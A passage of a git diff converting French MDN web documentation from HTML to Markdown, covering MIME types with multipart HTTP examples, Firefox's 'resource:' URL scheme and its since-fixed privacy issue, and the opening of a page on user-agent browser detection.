automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur <code>attachment</code> et proposera une invite "Enregistrer sous".</p> +Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie _fichier binaire inconnu_ il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur `attachment` et proposera une invite "Enregistrer sous". -<h3 id="textplain"><code>text/plain</code></h3> +### `text/plain` -<p>Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher.</p> +Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher. -<div class="note"> -<p><strong>Note :</strong> Il est important de noter que <code>text/plain</code> ne signifie pas <em>tous les formats de fichiers textuels</em>. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type <code>text/plain</code> ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier <code>text/plain</code> à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant <code>text/css</code>.</p> -</div> +> **Note :** Il est important de noter que `text/plain` ne signifie pas _tous les formats de fichiers textuels_. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type `text/plain` ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier `text/plain` à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant `text/css`. -<h3 id="textcss"><code>text/css</code></h3> +### `text/css` -<p>N'importe quel fichier CSS qui doit être interprété comme pour servir une page web <strong> doit</strong> être de type <code>text/css</code>. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension <code>.css</code> comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME <code>text/plain</code> ou <code>application/octet-stream</code>. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié.</p> +N'importe quel fichier CSS qui doit être interprété comme pour servir une page web **doit** être de type `text/css`. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension `.css` comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME `text/plain` ou `application/octet-stream`. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié. -<h3 id="texthtml"><code>text/html</code></h3> +### `text/html` -<p>L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme <code>application/xml+html)</code> ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats).</p> +L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme `application/xml+html)` ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats). -<h3 id="Formats_dimages">Formats d'images</h3> +### Formats d'images -<p>Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web :</p> +Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Type MIME</th> - <th scope="col">Format d'image</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>image/gif</code></td> - <td>images GIF (compression sans perte, remplacé par PNG)</td> - </tr> - <tr> - <td><code>image/jpeg</code></td> - <td>images JPEG</td> - </tr> - <tr> - <td><code>image/png</code></td> - <td>images PNG</td> - </tr> - <tr> - <td><code>image/svg+xml</code></td> - <td>images SVG (images vectorielles)</td> - </tr> - </tbody> -</table> +| Type MIME | Format d'image | +| --------------- | ----------------------------------------------------- | +| `image/gif` | images GIF (compression sans perte, remplacé par PNG) | +| `image/jpeg` | images JPEG | +| `image/png` | images PNG | +| `image/svg+xml` | images SVG (images vectorielles) | -<p>Il y a un débat quant à l'ajout de WebP (<code>image/webp</code>) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer.</p> +Il y a un débat quant à l'ajout de WebP (`image/webp`) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer. -<p>D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME <code>image/x-icon</code>.</p> +D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME `image/x-icon`. -<h3 id="Formats_audios_et_vidéos">Formats audios et vidéos</h3> +### Formats audios et vidéos -<p>Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page <a href="/fr/docs/Web/HTML/Supported_media_formats">Formats pris en charge par les balises audio et video</a> détaille les codecs et les formats qui peuvent être employés.</p> +Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page [Formats pris en charge par les balises audio et video](/fr/docs/Web/HTML/Supported_media_formats) détaille les codecs et les formats qui peuvent être employés. -<p>Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont :</p> +Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont : <table class="standard-table"> - <thead> - <tr> - <th scope="col">Type MIME</th> - <th scope="col">Format audio et vidéo</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>audio/wave</code><br> - <code>audio/wav</code><br> - <code>audio/x-wav</code><br> - <code>audio/x-pn-wav</code></td> - <td>Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent pris en charge tandis que les autres codecs offrent une prise en charge moindre (lorsqu'elle existe).</td> - </tr> - <tr> - <td><code>audio/webm</code></td> - <td>Un fichier audio WebM. Les codecs les plus fréquemment associés sont Vorbis et Opus.</td> - </tr> - <tr> - <td><code>video/webm</code></td> - <td>Un fichier vidéo, pouvant contenir de l'audio, au format WebM. Les codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and Opus constituent les codecs audios les plus fréquents.</td> - </tr> - <tr> - <td><code>audio/ogg</code></td> - <td>Un fichier audio au format OGG. Vorbis est le codec audio le plus utilisé pour traiter ce genre de format conteneur.</td> - </tr> - <tr> - <td><code>video/ogg</code></td> - <td>Un fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est utilisé pour l'audio.</td> - </tr> - <tr> - <td> - <p><code>application/ogg</code></p> - </td> - <td> - <p>Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent respectivement les codecs vidéo et audio souvent utilisés.</p> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Type MIME</th> + <th scope="col">Format audio et vidéo</th> + </tr> + </thead> + <tbody> + <tr> + <td> + <code>audio/wave</code><br /><code>audio/wav</code><br /><code + >audio/x-wav</code + ><br /><code>audio/x-pn-wav</code> + </td> + <td> + Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent + pris en charge tandis que les autres codecs offrent une prise en charge + moindre (lorsqu'elle existe). + </td> + </tr> + <tr> + <td><code>audio/webm</code></td> + <td> + Un fichier audio WebM. Les codecs les plus fréquemment associés sont + Vorbis et Opus. + </td> + </tr> + <tr> + <td><code>video/webm</code></td> + <td> + Un fichier vidéo, pouvant contenir de l'audio, au format WebM. Les + codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and + Opus constituent les codecs audios les plus fréquents. + </td> + </tr> + <tr> + <td><code>audio/ogg</code></td> + <td> + Un fichier audio au format OGG. Vorbis est le codec audio le plus + utilisé pour traiter ce genre de format conteneur. + </td> + </tr> + <tr> + <td><code>video/ogg</code></td> + <td> + Un fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est + le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est + utilisé pour l'audio. + </td> + </tr> + <tr> + <td> + <p><code>application/ogg</code></p> + </td> + <td> + <p> + Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent + respectivement les codecs vidéo et audio souvent utilisés. + </p> + </td> + </tr> + </tbody> </table> -<h3 id="multipartform-data"><code>multipart/form-data</code></h3> +### `multipart/form-data` + +Le type `multipart/form-data` peut être utilisé lors de l'envoi du contenu d'un [formulaire HTML](/fr/docs/Web/Guide/HTML/Forms) du navigateur vers le serveur. En tant que document composé ou _multipart_ il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double `'--'`). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière. + + Content-Type: multipart/form-data; boundary=aChaineDeDélimitation + (en-têtes divers associés à l'ensemble du document) + + --aChaineDeDélimitation + Content-Disposition: form-data; name="monFichier"; filename="img.jpg" + Content-Type: image/jpeg -<p>Le type <code>multipart/form-data</code> peut être utilisé lors de l'envoi du contenu d'un <a href="/fr/docs/Web/Guide/HTML/Forms">formulaire HTML</a> du navigateur vers le serveur. En tant que document composé ou <em>multipart</em> il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double <code>'--'</code>). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière.</p> + (données) + --aChaineDeDélimitation + Content-Disposition: form-data; name="monChamp" -<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aChaineDeDélimitation -(en-têtes divers associés à l'ensemble du document) + (données) + --aChaineDeDélimitation + (éléments additionnels) + --aChaineDeDélimitation-- ---aChaineDeDélimitation -Content-Disposition: form-data; name="monFichier"; filename="img.jpg" -Content-Type: image/jpeg +Le formulaire suivant : -(données) ---aChaineDeDélimitation -Content-Disposition: form-data; name="monChamp" +```html +<form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> + <input type="text" name="monChampTexte"> + <input type="checkbox" name="maCheckBox">Check</input> + <input type="file" name="monFichier"> + <button>Envoyer le fichier</button> +</form> +``` -(données) ---aChaineDeDélimitation -(éléments additionnels) ---aChaineDeDélimitation-- +enverra le message suivant : -</pre> + POST / HTTP/1.1 + Host: localhost:8000 + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Connection: keep-alive + Upgrade-Insecure-Requests: 1 + Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 + Content-Length: 465 -<p>Le formulaire suivant :</p> + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="monChampTexte" -<pre class="brush: html"><form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> - <input type="text" name="monChampTexte"> - <input type="checkbox" name="maCheckBox">Check</input> - <input type="file" name="monFichier"> - <button>Envoyer le fichier</button> -</form></pre> + Test + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="maCheckBox" -<p>enverra le message suivant :</p> + sur + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="monFichier"; filename="test.txt" + Content-Type: text/plain -<pre>POST / HTTP/1.1 -Host: localhost:8000 -User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-US,en;q=0.5 -Accept-Encoding: gzip, deflate -Connection: keep-alive -Upgrade-Insecure-Requests: 1 -Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 -Content-Length: 465 + un fichier simple. + -----------------------------8721656041911415653955004498-- ------------------------------8721656041911415653955004498 -Content-Disposition: form-data; name="monChampTexte" +### `multipart/byteranges` -Test ------------------------------8721656041911415653955004498 -Content-Disposition: form-data; name="maCheckBox" +Le type MIME `multipart/byteranges` est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} `Partial Content` est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive `boundary` pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente. -sur ------------------------------8721656041911415653955004498 -Content-Disposition: form-data; name="monFichier"; filename="test.txt" -Content-Type: text/plain + HTTP/1.1 206 Partial Content + Accept-Ranges: bytes + Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 + Content-Length: 385 -un fichier simple. ------------------------------8721656041911415653955004498-- + --3d6b6a416f9b5 + Content-Type: text/html + Content-Range: bytes 100-200/1270 -</pre> + eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + <meta name="vieport" content + --3d6b6a416f9b5 + Content-Type: text/html + Content-Range: bytes 300-400/1270 -<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3> + -color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica + --3d6b6a416f9b5-- -<p>Le type MIME <code>multipart/byteranges</code> est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} <code>Partial Content</code> est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive <code>boundary</code> pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.</p> +## De l'importance de définir correctement un type MIME -<pre><code>HTTP/1.1 206 Partial Content -Accept-Ranges: bytes -Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 -Content-Length: 385 +La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut `application/octet-stream`. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants : ---3d6b6a416f9b5 -Content-Type: text/html -Content-Range: bytes 100-200/1270 +- Les fichiers RAR. Idéalement il faudrait définir le type MIME associé aux fichiers contenus. Ce n'est généralement pas possible étant donné que le type de ces fichiers est vraisemblablement inconnu du serveur, d'autre part, il est possible que plusieurs formats soient présents dans le fichier RAR. On pourra alors configurer le serveur pour envoyer le type MIME `application/x-rar-compressed` bien qu'il soit probable qu'aucune action par défaut pour ce type MIME n'ait été définie côté utilisateur. +- Fichiers audios et vidéos. Seules les ressources associées à un type MIME approprié seront reconnues et lues dans les éléments {{ HTMLElement("video")}} ou {{HTMLElement("audio")}}. Vérifiez que vous utilisez [un format correct pour les fichiers audios et vidéos](/fr/docs/Web/HTML/Supported_media_formats). +- Les fichiers au format propriétaire. Il est nécessaire d'être vigilent lorsque l'on sert des fichiers propriétaires. Evitez autant que possible l'utilisation de `application/octet-stream` puisque ce type générique ne permet pas une gestion appropriée de la ressource. -eta http-equiv="Content-type" content="text/html; charset=utf-8" /> - <meta name="vieport" content ---3d6b6a416f9b5 -Content-Type: text/html -Content-Range: bytes 300-400/1270 +## Détection de type MIME --color: #f0f0f2; - margin: 0; - padding: 0; - font-family: "Open Sans", "Helvetica ---3d6b6a416f9b5--</code></pre> +Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}. -<h2 id="De_limportance_de_définir_correctement_un_type_MIME">De l'importance de définir correctement un type MIME</h2> +## Autres méthodes pour transporter le format d'un document -<p>La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut <code>application/octet-stream</code>. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :</p> +Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document : -<ul> - <li> - <p>Les fichiers RAR. Idéalement il faudrait définir le type MIME associé aux fichiers contenus. Ce n'est généralement pas possible étant donné que le type de ces fichiers est vraisemblablement inconnu du serveur, d'autre part, il est possible que plusieurs formats soient présents dans le fichier RAR. On pourra alors configurer le serveur pour envoyer le type MIME <code>application/x-rar-compressed</code> bien qu'il soit probable qu'aucune action par défaut pour ce type MIME n'ait été définie côté utilisateur.</p> - </li> - <li> - <p>Fichiers audios et vidéos. Seules les ressources associées à un type MIME approprié seront reconnues et lues dans les éléments {{ HTMLElement("video")}} ou {{HTMLElement("audio")}}. Vérifiez que vous utilisez <a href="/fr/docs/Web/HTML/Supported_media_formats">un format correct pour les fichiers audios et vidéos</a>.</p> - </li> - <li> - <p>Les fichiers au format propriétaire. Il est nécessaire d'être vigilent lorsque l'on sert des fichiers propriétaires. Evitez autant que possible l'utilisation de <code>application/octet-stream</code> puisque ce type générique ne permet pas une gestion appropriée de la ressource.</p> - </li> -</ul> +- Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document. +- Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit \[GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit \[.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible. -<h2 id="Détection_de_type_MIME">Détection de type MIME</h2> +## Voir aussi -<p>Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}.</p> - -<h2 id="Autres_méthodes_pour_transporter_le_format_dun_document">Autres méthodes pour transporter le format d'un document</h2> - -<p>Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document :</p> - -<ul> - <li>Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document.</li> - <li>Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit [GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit [.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible.</li> -</ul> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/fr/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Configurer proprement les types MIME côté serveur</a></li> - <li> - <p><a href="/fr/docs/Web/HTML/Supported_media_formats">Formats multimédias supportés pour les éléments HTML audio et vidéo</a></p> - </li> - <li> - <p><a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></p> - </li> -</ul> +- [Configurer proprement les types MIME côté serveur](/fr/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types) +- [Formats multimédias supportés pour les éléments HTML audio et vidéo](/fr/docs/Web/HTML/Supported_media_formats) +- <https://www.iana.org/assignments/media-types/application/json> diff --git a/files/fr/web/http/basics_of_http/resource_urls/index.md b/files/fr/web/http/basics_of_http/resource_urls/index.md index 62e578b91a..8ef9268937 100644 --- a/files/fr/web/http/basics_of_http/resource_urls/index.md +++ b/files/fr/web/http/basics_of_http/resource_urls/index.md @@ -9,60 +9,56 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs original_slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Les URLs de type ressource sont les URLs préfixées à l'aide du schéma <code>resource:</code>. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.</p> +Les URLs de type ressource sont les URLs préfixées à l'aide du schéma `resource:`. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Les URLs de type ressource sont composées de deux parties, un préfixe (<code>resource:</code>) et l'URL qui dirige vers la ressource que l'on souhaite charger :</p> +Les URLs de type ressource sont composées de deux parties, un préfixe (`resource:`) et l'URL qui dirige vers la ressource que l'on souhaite charger : -<pre class="syntaxbox">resource://<url></pre> + resource://<url> -<p>Voici un exemple :</p> +Voici un exemple : -<pre>resource://gre/res/svg.css</pre> + resource://gre/res/svg.css -<p>Pour plus de détails, vous pouvez consulter <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le Web</a>.</p> +Pour plus de détails, vous pouvez consulter [Identifier des ressources sur le Web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web). -<p>Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.</p> +Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes. -<h2 id="Menaces">Menaces</h2> +## Menaces -<p>Étant donné que les informations partagées par les URLs <code>resource:</code> sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.</p> +Étant donné que les informations partagées par les URLs `resource:` sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité. -<p>Par exemple, <a href="https://www.browserleaks.com/firefox">ce script sur Browserleaks</a> détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse <a href="https://browserleaks.com/firefox#more">https://browserleaks.com/firefox#more</a>.</p> +Par exemple, [ce script sur Browserleaks](https://www.browserleaks.com/firefox) détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse <https://browserleaks.com/firefox#more>. -<p>Le fichier <a href="https://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575">firefox.js</a> passe les noms des préférences et leurs valeurs à la fonction <code>pref()</code>.</p> +Le fichier [firefox.js](https://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575) passe les noms des préférences et leurs valeurs à la fonction `pref()`. -<p>Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction <code>pref()</code> et en utilisant le script <code>resource:///defaults/preferences/firefox.js</code>.</p> +Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction `pref()` et en utilisant le script `resource:///defaults/preferences/firefox.js`. -<p>De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.</p> +De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte. -<h2 id="Solution">Solution</h2> +## Solution -<p>Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).</p> +Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum). -<p>Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI <code>resource:</code>, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.</p> +Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI `resource:`, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut. -<p>Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à <code>viewsource.css</code> via une URI <code>resource:</code> est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous <code>resource://content-accessible/</code>, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.</p> +Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à `viewsource.css` via une URI `resource:` est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous `resource://content-accessible/`, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces. -<div class="note"> -<p><strong>Note :</strong> Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.</p> -</div> +> **Note :** Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<p><code>resource:</code> n'est pas défini dans une spécification RFC.</p> +`resource:` n'est pas défini dans une spécification RFC. -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>resource: est disponible uniquement dans Firefox.</p> +resource: est disponible uniquement dans Firefox. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le Web</a></li> - <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL ?</a></li> - <li><a href="https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Liste des schémas URI maintenue par l'IANA</a> (<code>resource:</code> est <a href="https://www.iana.org/assignments/uri-schemes/prov/resource">définie ici</a>)</li> -</ul> +- [Identifier des ressources sur le Web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) +- [Qu'est-ce qu'une URL ?](/fr/docs/Learn/Common_questions/What_is_a_URL) +- [Liste des schémas URI maintenue par l'IANA](https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml) (`resource:` est [définie ici](https://www.iana.org/assignments/uri-schemes/prov/resource)) diff --git a/files/fr/web/http/browser_detection_using_the_user_agent/index.md b/files/fr/web/http/browser_detection_using_the_user_agent/index.md index 072103ebd8..e6adc3710d 100644 --- a/files/fr/web/http/browser_detection_using_the_user_agent/index.md +++ b/files/fr/web/http/browser_detection_using_the_user_agent/index.md @@ -7,234 +7,237 @@ tags: translation_of: Web/HTTP/Browser_detection_using_the_user_agent original_slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.</p> +Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière 